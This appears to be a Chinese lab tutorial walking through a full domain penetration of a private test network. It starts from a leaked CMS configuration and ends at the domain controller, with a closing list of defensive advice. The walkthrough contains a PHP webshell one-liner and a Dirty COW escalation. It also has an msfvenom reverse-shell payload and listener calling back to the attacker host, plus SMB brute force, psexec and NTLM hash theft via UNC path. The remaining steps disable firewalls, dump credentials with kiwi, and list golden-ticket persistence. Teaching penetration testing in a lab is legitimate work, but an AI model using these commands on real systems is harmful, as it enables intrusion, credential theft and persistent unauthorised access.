记一次曲折的域渗透
字数 1614 2025-08-06 23:10:24

域渗透实战教学文档

0x01 环境信息

网络拓扑与主机配置

  • CentOS服务器

    • IP1: 192.168.1.132 (外网)
    • IP2: 192.168.93.100 (内网)
    • 服务: Nginx反向代理
  • Ubuntu服务器

    • IP: 192.168.93.120
    • 服务: 真实Web服务
  • Windows服务器

    • Win Server 2012 (域控): 192.168.93.10
    • Win Server 2008: 192.168.93.20
    • Win 7: 192.168.93.30
  • 攻击机

    • Kali Linux: 192.168.1.128

0x02 WEB渗透

2.1 端口扫描

使用nmap进行基础端口扫描:

nmap -sS -T4 192.168.1.132

发现开放80端口,访问发现网站服务。

2.2 目录扫描

使用工具如dirsearch或gobuster进行目录扫描:

gobuster dir -u http://192.168.1.132 -w /path/to/wordlist.txt

关键发现:

  • 1.php文件:显示phpinfo信息
  • README文件:泄露网站版本信息
  • configuration.php文件:泄露数据库凭据

2.3 后台登录

发现3306端口开放,尝试使用泄露的数据库凭据远程连接MySQL:

mysql -h 192.168.1.132 -u [用户名] -p[密码] [数据库名]

在am2zu_users表中找到用户凭据。

创建管理员用户技巧
根据CMS的密码加盐规则,可以创建新用户:

INSERT INTO am2zu_users VALUES(...);

示例创建用户admin123,密码admin。

2.4 Getshell

后台发现文件修改功能,写入一句话木马:

  • 位置:templates/beez3/index.php
  • 内容:<?php @eval($_POST['cmd']);?>

使用蚁剑或中国菜刀连接webshell。

2.5 绕过disable_functions

发现命令执行被禁用,查看phpinfo确认disable_functions设置。

绕过方法

  1. 使用蚁剑插件绕过
  2. 使用LD_PRELOAD或其他技术绕过

发现真实Web服务IP为192.168.93.120,CentOS仅作为反向代理。

2.6 远程登录

从MySQL中发现SSH凭据,尝试登录:

ssh username@192.168.93.120

发现是低权限用户,使用脏牛(Dirty Cow)提权:

gcc -pthread dirty.c -o dirty -lcrypt
./dirty

提权后查看用户权限和网络配置。

0x03 后渗透

3.1 上线MSF

  1. 生成payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf
  1. 设置监听:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.128
set LPORT 4444
exploit
  1. 添加内网路由:
run autoroute -s 192.168.93.0/24
  1. 创建socks代理:
use auxiliary/server/socks_proxy
set VERSION 4a
run

3.2 内网扫描

使用MSF模块扫描内网:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.93.0/24
set PORTS 445,3389,1433
run

3.3 Win7(192.168.93.30)渗透

  1. SMB爆破:
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set PASS_FILE /root/Desktop/SMB.txt
set SMBUSER administrator
run

爆破出密码:123qwe!ASD

  1. PSEXEC利用:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run

3.4 Win2008(192.168.93.20)渗透

  1. MSSQL服务发现:
  • 开放1433端口
  • 使用之前获得的凭据登录
  1. NTLM中继攻击:
  • 启动Responder伪造SMB服务器:
python Responder.py -I eth0
  • 使用MSF触发UNC路径:
use auxiliary/admin/mssql/mssql_ntlm_stealer
set RHOST 192.168.93.20
set GET_PATH \\192.168.1.128\share
run
  • 使用john破解捕获的hash:
john --format=netntlmv2 hash.txt --wordlist=rockyou.txt
  1. 获取命令行:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LHOST 192.168.1.128
run
  1. 开启远程桌面:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh firewall set opmode mode=disable
  1. 提权与凭证获取:
  • 使用kiwi模块:
load kiwi
creds_all
  • 获取域管理员密码:zxcASDqw123!!

3.5 Win2012域控(192.168.93.10)渗透

  1. 使用获取的域管理员凭据访问:
wmiexec.py domain/administrator:zxcASDqw123!!@192.168.93.10
  1. 开启远程桌面:
netsh advfirewall set allprofiles state off
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  1. 域信息收集:
  • 使用PowerView收集域信息:
Get-NetDomain
Get-NetUser
Get-NetComputer
Get-NetGroup
  • 使用BloodHound进行域关系分析
  1. 权限维持:
  • 黄金票据创建
  • 域控上的SID历史记录添加
  • 创建隐藏用户

关键知识点总结

  1. 信息收集:phpinfo、配置文件、README文件常包含关键信息
  2. 密码重用:Web应用密码可能在数据库、系统登录中重用
  3. 横向移动技术
    • SMB爆破与PSEXEC
    • MSSQL NTLM中继攻击
    • WMI远程执行
  4. 权限提升
    • Linux: 脏牛漏洞
    • Windows: 各种提权技术
  5. 域渗透技术
    • 凭证获取与重用
    • 域信息收集
    • 域持久化技术

防御建议

  1. 加强配置文件保护
  2. 禁用不必要的服务和端口
  3. 实施网络分段
  4. 监控异常登录行为
  5. 定期更新和修补系统
  6. 使用强密码策略和双因素认证
  7. 限制域管理员账户的使用范围
域渗透实战教学文档 0x01 环境信息 网络拓扑与主机配置 CentOS服务器 IP1: 192.168.1.132 (外网) IP2: 192.168.93.100 (内网) 服务: Nginx反向代理 Ubuntu服务器 IP: 192.168.93.120 服务: 真实Web服务 Windows服务器 Win Server 2012 (域控): 192.168.93.10 Win Server 2008: 192.168.93.20 Win 7: 192.168.93.30 攻击机 Kali Linux: 192.168.1.128 0x02 WEB渗透 2.1 端口扫描 使用nmap进行基础端口扫描: 发现开放80端口,访问发现网站服务。 2.2 目录扫描 使用工具如dirsearch或gobuster进行目录扫描: 关键发现: 1.php文件:显示phpinfo信息 README文件:泄露网站版本信息 configuration.php文件:泄露数据库凭据 2.3 后台登录 发现3306端口开放,尝试使用泄露的数据库凭据远程连接MySQL: 在am2zu_ users表中找到用户凭据。 创建管理员用户技巧 : 根据CMS的密码加盐规则,可以创建新用户: 示例创建用户admin123,密码admin。 2.4 Getshell 后台发现文件修改功能,写入一句话木马: 位置:templates/beez3/index.php 内容: <?php @eval($_POST['cmd']);?> 使用蚁剑或中国菜刀连接webshell。 2.5 绕过disable_ functions 发现命令执行被禁用,查看phpinfo确认disable_ functions设置。 绕过方法 : 使用蚁剑插件绕过 使用LD_ PRELOAD或其他技术绕过 发现真实Web服务IP为192.168.93.120,CentOS仅作为反向代理。 2.6 远程登录 从MySQL中发现SSH凭据,尝试登录: 发现是低权限用户,使用脏牛(Dirty Cow)提权: 提权后查看用户权限和网络配置。 0x03 后渗透 3.1 上线MSF 生成payload: 设置监听: 添加内网路由: 创建socks代理: 3.2 内网扫描 使用MSF模块扫描内网: 3.3 Win7(192.168.93.30)渗透 SMB爆破: 爆破出密码:123qwe !ASD PSEXEC利用: 3.4 Win2008(192.168.93.20)渗透 MSSQL服务发现: 开放1433端口 使用之前获得的凭据登录 NTLM中继攻击: 启动Responder伪造SMB服务器: 使用MSF触发UNC路径: 使用john破解捕获的hash: 获取命令行: 开启远程桌面: 提权与凭证获取: 使用kiwi模块: 获取域管理员密码:zxcASDqw123! ! 3.5 Win2012域控(192.168.93.10)渗透 使用获取的域管理员凭据访问: 开启远程桌面: 域信息收集: 使用PowerView收集域信息: 使用BloodHound进行域关系分析 权限维持: 黄金票据创建 域控上的SID历史记录添加 创建隐藏用户 关键知识点总结 信息收集 :phpinfo、配置文件、README文件常包含关键信息 密码重用 :Web应用密码可能在数据库、系统登录中重用 横向移动技术 : SMB爆破与PSEXEC MSSQL NTLM中继攻击 WMI远程执行 权限提升 : Linux: 脏牛漏洞 Windows: 各种提权技术 域渗透技术 : 凭证获取与重用 域信息收集 域持久化技术 防御建议 加强配置文件保护 禁用不必要的服务和端口 实施网络分段 监控异常登录行为 定期更新和修补系统 使用强密码策略和双因素认证 限制域管理员账户的使用范围